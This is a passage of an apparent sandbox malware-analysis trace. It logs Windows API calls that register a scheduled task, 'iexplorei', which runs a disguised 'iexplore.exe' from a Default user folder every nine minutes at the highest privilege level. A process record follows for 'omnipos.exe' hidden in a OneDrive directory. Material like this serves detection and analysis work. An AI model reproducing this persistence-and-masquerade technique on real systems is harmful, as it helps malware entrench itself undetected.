(_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.427] lstrlenW (lpString="f") returned 1 [0153.427] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.427] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|z|") returned 3 [0153.427] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|f|") returned 3 [0153.427] lstrlenW (lpString="|z|") returned 3 [0153.427] lstrlenW (lpString="|f|") returned 3 [0153.427] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0153.428] SetLastError (dwErrCode=0x490) [0153.428] lstrlenW (lpString="f") returned 1 [0153.428] lstrlenW (lpString="f") returned 1 [0153.428] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.428] lstrlenW (lpString="f") returned 1 [0153.428] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.428] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|f|") returned 3 [0153.428] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|f|") returned 3 [0153.428] lstrlenW (lpString="|f|") returned 3 [0153.428] lstrlenW (lpString="|f|") returned 3 [0153.428] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0153.428] SetLastError (dwErrCode=0x0) [0153.428] SetLastError (dwErrCode=0x0) [0153.428] GetProcessHeap () returned 0x290000 [0153.428] RtlAllocateHeap (HeapHandle=0x290000, Flags=0xc, Size=0x20) returned 0x2acd50 [0153.428] _memicmp (_Buf1=0x2aba90, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.428] LoadStringW (in: hInstance=0x0, uID=0x20d, lpBuffer=0x2ad280, cchBufferMax=256 | out: lpBuffer="LIMITED") returned 0x7 [0153.428] lstrlenW (lpString="LIMITED") returned 7 [0153.428] GetProcessHeap () returned 0x290000 [0153.428] RtlAllocateHeap (HeapHandle=0x290000, Flags=0xc, Size=0x10) returned 0x2ad580 [0153.428] GetThreadLocale () returned 0x409 [0153.428] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="LIMITED", cchCount2=-1) returned 1 [0153.428] GetProcessHeap () returned 0x290000 [0153.428] RtlAllocateHeap (HeapHandle=0x290000, Flags=0xc, Size=0x20) returned 0x2acd20 [0153.428] _memicmp (_Buf1=0x2aba90, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.428] LoadStringW (in: hInstance=0x0, uID=0x20e, lpBuffer=0x2ad280, cchBufferMax=256 | out: lpBuffer="HIGHEST") returned 0x7 [0153.429] lstrlenW (lpString="HIGHEST") returned 7 [0153.429] GetProcessHeap () returned 0x290000 [0153.429] RtlAllocateHeap (HeapHandle=0x290000, Flags=0xc, Size=0x10) returned 0x2ad5a0 [0153.429] GetThreadLocale () returned 0x409 [0153.429] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="HIGHEST", cchCount2=-1) returned 2 [0153.429] GetProcessHeap () returned 0x290000 [0153.429] RtlAllocateHeap (HeapHandle=0x290000, Flags=0xc, Size=0x20) returned 0x2accf0 [0153.429] _memicmp (_Buf1=0x2aba90, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.429] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x2ad280, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0153.429] lstrlenW (lpString="MINUTE") returned 6 [0153.429] GetProcessHeap () returned 0x290000 [0153.429] RtlAllocateHeap (HeapHandle=0x290000, Flags=0xc, Size=0xe) returned 0x2ad5c0 [0153.429] GetThreadLocale () returned 0x409 [0153.429] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="MINUTE", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 2 [0153.429] SetLastError (dwErrCode=0x0) [0153.429] GetProcessHeap () returned 0x290000 [0153.429] RtlAllocateHeap (HeapHandle=0x290000, Flags=0xc, Size=0x1fc) returned 0x2ac250 [0153.429] GetProcessHeap () returned 0x290000 [0153.429] RtlAllocateHeap (HeapHandle=0x290000, Flags=0xc, Size=0x20) returned 0x2accc0 [0153.429] _memicmp (_Buf1=0x2aba90, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.429] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x2ad280, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0153.429] lstrlenW (lpString="First") returned 5 [0153.430] GetProcessHeap () returned 0x290000 [0153.430] RtlAllocateHeap (HeapHandle=0x290000, Flags=0xc, Size=0xc) returned 0x2ad5e0 [0153.430] GetProcessHeap () returned 0x290000 [0153.430] RtlAllocateHeap (HeapHandle=0x290000, Flags=0xc, Size=0x20) returned 0x2acc90 [0153.430] _memicmp (_Buf1=0x2aba90, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.430] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x2ad280, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0153.430] lstrlenW (lpString="Second") returned 6 [0153.430] GetProcessHeap () returned 0x290000 [0153.430] RtlAllocateHeap (HeapHandle=0x290000, Flags=0xc, Size=0xe) returned 0x2ad600 [0153.430] GetProcessHeap () returned 0x290000 [0153.430] RtlAllocateHeap (HeapHandle=0x290000, Flags=0xc, Size=0x20) returned 0x2acc60 [0153.430] _memicmp (_Buf1=0x2aba90, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.430] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x2ad280, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0153.430] lstrlenW (lpString="Third") returned 5 [0153.430] GetProcessHeap () returned 0x290000 [0153.430] RtlAllocateHeap (HeapHandle=0x290000, Flags=0xc, Size=0xc) returned 0x2ad620 [0153.430] GetProcessHeap () returned 0x290000 [0153.430] RtlAllocateHeap (HeapHandle=0x290000, Flags=0xc, Size=0x20) returned 0x2acc30 [0153.430] _memicmp (_Buf1=0x2aba90, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.430] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x2ad280, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0153.430] lstrlenW (lpString="Fourth") returned 6 [0153.430] GetProcessHeap () returned 0x290000 [0153.430] RtlAllocateHeap (HeapHandle=0x290000, Flags=0xc, Size=0xe) returned 0x2ad640 [0153.430] _memicmp (_Buf1=0x2aba90, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.430] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x2ad280, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0153.431] lstrlenW (lpString="Last") returned 4 [0153.431] GetProcessHeap () returned 0x290000 [0153.431] RtlAllocateHeap (HeapHandle=0x290000, Flags=0xc, Size=0xa) returned 0x2ad660 [0153.431] lstrlenW (lpString="9") returned 1 [0153.431] _wtol (_String="9") returned 9 [0153.431] _memicmp (_Buf1=0x2aba90, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.431] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x2ad280, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0153.431] lstrlenW (lpString="First") returned 5 [0153.431] _memicmp (_Buf1=0x2aba90, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.431] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x2ad280, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0153.431] lstrlenW (lpString="Second") returned 6 [0153.431] _memicmp (_Buf1=0x2aba90, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.431] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x2ad280, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0153.431] lstrlenW (lpString="Third") returned 5 [0153.431] _memicmp (_Buf1=0x2aba90, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.431] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x2ad280, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0153.431] lstrlenW (lpString="Fourth") returned 6 [0153.431] _memicmp (_Buf1=0x2aba90, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.431] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x2ad280, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0153.431] lstrlenW (lpString="Last") returned 4 [0153.432] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x19c3e0, cchData=128 | out: lpLCData="0") returned 2 [0153.432] _memicmp (_Buf1=0x2aba90, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.432] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x2ad280, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0153.432] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0153.432] GetProcessHeap () returned 0x290000 [0153.432] GetProcessHeap () returned 0x290000 [0153.432] HeapValidate (hHeap=0x290000, dwFlags=0x0, lpMem=0x2ad5e0) returned 1 [0153.432] GetProcessHeap () returned 0x290000 [0153.432] RtlSizeHeap (HeapHandle=0x290000, Flags=0x0, MemoryPointer=0x2ad5e0) returned 0xc [0153.432] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2ad5e0 | out: hHeap=0x290000) returned 1 [0153.432] GetProcessHeap () returned 0x290000 [0153.432] RtlAllocateHeap (HeapHandle=0x290000, Flags=0xc, Size=0x16) returned 0x2ad5e0 [0153.432] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x19c400, cchData=128 | out: lpLCData="0") returned 2 [0153.432] _memicmp (_Buf1=0x2aba90, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.432] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x2ad280, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0153.432] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0153.432] GetProcessHeap () returned 0x290000 [0153.432] GetProcessHeap () returned 0x290000 [0153.432] HeapValidate (hHeap=0x290000, dwFlags=0x0, lpMem=0x2ad600) returned 1 [0153.432] GetProcessHeap () returned 0x290000 [0153.432] RtlSizeHeap (HeapHandle=0x290000, Flags=0x0, MemoryPointer=0x2ad600) returned 0xe [0153.432] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2ad600 | out: hHeap=0x290000) returned 1 [0153.432] GetProcessHeap () returned 0x290000 [0153.432] RtlAllocateHeap (HeapHandle=0x290000, Flags=0xc, Size=0x16) returned 0x2ad600 [0153.432] GetLocalTime (in: lpSystemTime=0x19c630 | out: lpSystemTime=0x19c630*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x13, wSecond=0xd, wMilliseconds=0xc4)) [0153.433] lstrlenW (lpString="") returned 0 [0153.433] GetLocalTime (in: lpSystemTime=0x19cee8 | out: lpSystemTime=0x19cee8*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x13, wSecond=0xd, wMilliseconds=0xc4)) [0153.433] lstrlenW (lpString="") returned 0 [0153.433] lstrlenW (lpString="") returned 0 [0153.433] lstrlenW (lpString="") returned 0 [0153.433] lstrlenW (lpString="") returned 0 [0153.433] lstrlenW (lpString="9") returned 1 [0153.433] _wtol (_String="9") returned 9 [0153.433] lstrlenW (lpString="") returned 0 [0153.433] lstrlenW (lpString="") returned 0 [0153.433] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0153.547] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0153.838] CoCreateInstance (in: rclsid=0xffd41ae0*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0xffd41ad0*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x19ccb0 | out: ppv=0x19ccb0*=0x107a50) returned 0x0 [0153.879] TaskScheduler:ITaskService:Connect (This=0x107a50, serverName=0x19cd90*(varType=0x8, wReserved1=0x19, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0x19cd50*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x32524553524150), domain=0x19cd70*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x19cd30*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc0, varVal2=0x100000001)) returned 0x0 [0154.084] TaskScheduler:IUnknown:AddRef (This=0x107a50) returned 0x2 [0154.084] TaskScheduler:ITaskService:GetFolder (in: This=0x107a50, Path=0x0, ppFolder=0x19ce48 | out: ppFolder=0x19ce48*=0x107c80) returned 0x0 [0154.087] TaskScheduler:ITaskService:NewTask (in: This=0x107a50, flags=0x0, ppDefinition=0x19ce40 | out: ppDefinition=0x19ce40*=0x107cd0) returned 0x0 [0154.088] ITaskDefinition:get_Actions (in: This=0x107cd0, ppActions=0x19cdc0 | out: ppActions=0x19cdc0*=0x107d90) returned 0x0 [0154.088] IActionCollection:Create (in: This=0x107d90, Type=0, ppAction=0x19cde0 | out: ppAction=0x19cde0*=0x106110) returned 0x0 [0154.090] lstrlenW (lpString="'C:\\Users\\Default\\Recent\\iexplore.exe'") returned 38 [0154.090] lstrlenW (lpString="'C:\\Users\\Default\\Recent\\iexplore.exe'") returned 38 [0154.090] lstrlenW (lpString=" ") returned 1 [0154.090] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0154.090] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0154.090] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0154.090] StrChrW (lpStart=" ", wMatch=0x3a) returned 0x0 [0154.090] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0154.090] StrChrW (lpStart=" ", wMatch=0x55) returned 0x0 [0154.090] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0154.091] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0154.091] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0154.091] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0154.091] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0154.091] StrChrW (lpStart=" ", wMatch=0x44) returned 0x0 [0154.091] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0154.091] StrChrW (lpStart=" ", wMatch=0x66) returned 0x0 [0154.091] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0154.091] StrChrW (lpStart=" ", wMatch=0x75) returned 0x0 [0154.091] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0154.091] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0154.091] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0154.091] StrChrW (lpStart=" ", wMatch=0x52) returned 0x0 [0154.091] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0154.091] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0154.091] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0154.091] StrChrW (lpStart=" ", wMatch=0x6e) returned 0x0 [0154.091] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0154.091] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0154.091] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0154.092] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0154.093] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0154.094] StrChrW (lpStart=" ", wMatch=0x70) returned 0x0 [0154.094] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0154.094] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0154.094] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0154.094] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0154.094] StrChrW (lpStart=" ", wMatch=0x2e) returned 0x0 [0154.094] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0154.094] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0154.094] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0154.094] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0154.094] IUnknown:Release (This=0x106110) returned 0x1 [0154.094] IUnknown:Release (This=0x107d90) returned 0x1 [0154.094] ITaskDefinition:get_Triggers (in: This=0x107cd0, ppTriggers=0x19c940 | out: ppTriggers=0x19c940*=0x107ed0) returned 0x0 [0154.095] ITriggerCollection:Create (in: This=0x107ed0, Type=1, ppTrigger=0x19c938 | out: ppTrigger=0x19c938*=0x106180) returned 0x0 [0154.095] lstrlenW (lpString="9") returned 1 [0154.095] _vsnwprintf (in: _Buffer=0x19c8c0, _BufferCount=0xf, _Format="PT%sM", _ArgList=0x19c8b8 | out: _Buffer="PT9M") returned 4 [0154.095] ITrigger:get_Repetition (in: This=0x106180, ppRepeat=0x19c930 | out: ppRepeat=0x19c930*=0x106210) returned 0x0 [0154.098] IRepetitionPattern:put_Interval (This=0x106210, Interval="PT9M") returned 0x0 [0154.098] IUnknown:Release (This=0x106210) returned 0x1 [0154.098] _vsnwprintf (in: _Buffer=0x19c880, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0x19c858 | out: _Buffer="2022-08-06T02:19:00") returned 19 [0154.098] ITrigger:put_StartBoundary (This=0x106180, StartBoundary="2022-08-06T02:19:00") returned 0x0 [0154.098] lstrlenW (lpString="") returned 0 [0154.098] lstrlenW (lpString="") returned 0 [0154.098] lstrlenW (lpString="") returned 0 [0154.098] lstrlenW (lpString="") returned 0 [0154.099] IUnknown:Release (This=0x106180) returned 0x1 [0154.099] IUnknown:Release (This=0x107ed0) returned 0x1 [0154.099] ITaskDefinition:get_Settings (in: This=0x107cd0, ppSettings=0x19cde0 | out: ppSettings=0x19cde0*=0x105f50) returned 0x0 [0154.099] lstrlenW (lpString="") returned 0 [0154.099] IUnknown:Release (This=0x105f50) returned 0x1 [0154.099] GetLocalTime (in: lpSystemTime=0x19cc98 | out: lpSystemTime=0x19cc98*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x13, wSecond=0xd, wMilliseconds=0x324)) [0154.099] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefe7b0000 [0154.100] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetUserNameW") returned 0x7fefe7c1fd0 [0154.100] GetUserNameW (in: lpBuffer=0x19ccc0, pcbBuffer=0x19cca8 | out: lpBuffer="kEecfMwgj", pcbBuffer=0x19cca8) returned 1 [0154.100] ITaskDefinition:get_RegistrationInfo (in: This=0x107cd0, ppRegistrationInfo=0x19cc90 | out: ppRegistrationInfo=0x19cc90*=0x107e10) returned 0x0 [0154.103] IRegistrationInfo:put_Author (This=0x107e10, Author="") returned 0x0 [0154.103] _vsnwprintf (in: _Buffer=0x19ccc0, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0x19cc58 | out: _Buffer="2022-08-06T02:19:13") returned 19 [0154.103] IRegistrationInfo:put_Date (This=0x107e10, Date="") returned 0x0 [0154.103] IUnknown:Release (This=0x107e10) returned 0x1 [0154.104] malloc (_Size=0x18) returned 0x107c10 [0154.104] free (_Block=0x107c10) [0154.104] lstrlenW (lpString="") returned 0 [0154.104] ITaskDefinition:get_Principal (in: This=0x107cd0, ppPrincipal=0x19ceb0 | out: ppPrincipal=0x19ceb0*=0x106060) returned 0x0 [0154.104] IPrincipal:put_RunLevel (This=0x106060, RunLevel=1) returned 0x0 [0154.104] IUnknown:Release (This=0x106060) returned 0x1 [0154.104] malloc (_Size=0x18) returned 0x107c10 [0154.105] ITaskFolder:RegisterTaskDefinition (in: This=0x107c80, Path="iexplorei", pDefinition=0x107cd0, flags=6, UserId=0x19cf30*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x19cf70*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x19ee40, varVal2=0xfe), LogonType=3, sddl=0x19cf50*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0x19ce50 | out: ppTask=0x19ce50*=0x1063d0) returned 0x0 [0154.467] free (_Block=0x107c10) [0154.467] _memicmp (_Buf1=0x2aba90, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0154.467] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x2ad280, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0154.467] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0154.467] GetProcessHeap () returned 0x290000 [0154.467] GetProcessHeap () returned 0x290000 [0154.467] HeapValidate (hHeap=0x290000, dwFlags=0x0, lpMem=0x2ad620) returned 1 [0154.467] GetProcessHeap () returned 0x290000 [0154.468] RtlSizeHeap (HeapHandle=0x290000, Flags=0x0, MemoryPointer=0x2ad620) returned 0xc [0154.468] _vsnwprintf (in: _Buffer=0x19d590, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0x19cdf8 | out: _Buffer="SUCCESS: The scheduled task \"iexplorei\" has successfully been created.\n") returned 71 [0154.468] _fileno (_File=0x7fefed02ab0) returned -2 [0154.468] _errno () returned 0x104bb0 [0154.468] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0154.469] SetLastError (dwErrCode=0x6) [0154.469] lstrlenW (lpString="SUCCESS: The scheduled task \"iexplorei\" has successfully been created.\n") returned 71 [0154.469] GetConsoleOutputCP () returned 0x0 [0154.469] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"iexplorei\" has successfully been created.\n", cchWideChar=71, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 71 [0154.469] GetConsoleOutputCP () returned 0x0 [0154.469] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"iexplorei\" has successfully been created.\n", cchWideChar=71, lpMultiByteStr=0xffd81880, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"iexplorei\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 71 [0154.469] fprintf (in: _File=0x7fefed02ab0, _Format="%s" | out: _File=0x7fefed02ab0) returned 71 [0154.469] fflush (in: _File=0x7fefed02ab0 | out: _File=0x7fefed02ab0) returned -1 [0154.469] IUnknown:Release (This=0x1063d0) returned 0x0 [0154.469] TaskScheduler:IUnknown:Release (This=0x107cd0) returned 0x0 [0154.470] TaskScheduler:IUnknown:Release (This=0x107c80) returned 0x0 [0154.470] TaskScheduler:IUnknown:Release (This=0x107a50) returned 0x1 [0154.470] lstrlenW (lpString="") returned 0 [0154.470] lstrlenW (lpString="9") returned 1 [0154.470] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="9", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2 [0154.470] GetProcessHeap () returned 0x290000 [0154.470] GetProcessHeap () returned 0x290000 [0154.470] HeapValidate (hHeap=0x290000, dwFlags=0x0, lpMem=0x2ac250) returned 1 [0154.470] GetProcessHeap () returned 0x290000 [0154.470] RtlSizeHeap (HeapHandle=0x290000, Flags=0x0, MemoryPointer=0x2ac250) returned 0x1fc [0154.470] exit (_Code=0) Thread: id = 185 os_tid = 0xce4 Process: id = "48" image_name = "omnipos.exe" filename = "c:\\program files (x86)\\microsoft onedrive\\omnipos.exe" page_root = "0x41b74000" os_pid = "0xcc0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "25" os_parent_pid = "0xf78" cmd_line = "\"C:\\Program Files (x86)\\Microsoft OneDrive\\omnipos.exe\" " cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f52a" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 4477 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 4478 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 4479 start_va = 0x40000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000040000" filename = "" Region: id = 4480 start_va = 0xd10000 end_va = 0xde5fff monitored = 1 entry_point = 0xddd67e region_type = mapped_file name = "omnipos.exe" filename = "\\Program Files (x86)\\Microsoft OneDrive\\omnipos.exe" (normalized: "c:\\program files (x86)\\microsoft onedrive\\omnipos.exe") Region: id = 4481 start_va = 0x76d20000 end_va = 0x76ec8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 4482 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 4483 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 4484 start_va = 0x7feff040000 end_va = 0x7feff040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 4485 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 4486 start_va = 0x7fffffd5000 end_va = 0x7fffffd5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 4487 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 4488 start_va = 0x140000 end_va = 0x2bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 4489 start_va = 0x7fef9de0000 end_va = 0x7fef9e4efff monitored = 1 entry_point = 0x7fef9de1134 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll") Region: id = 4490 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 0 entry_point = 0x76b15340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 4491 start_va = 0x7fefcd20000 end_va = 0x7fefcd8bfff monitored = 0 entry_point = 0x7fefcd22780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 5029 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 5030 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 5031 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 5037 start_va = 0x140000 end_va = 0x1a6fff monitored = 0 entry_point = 0x0 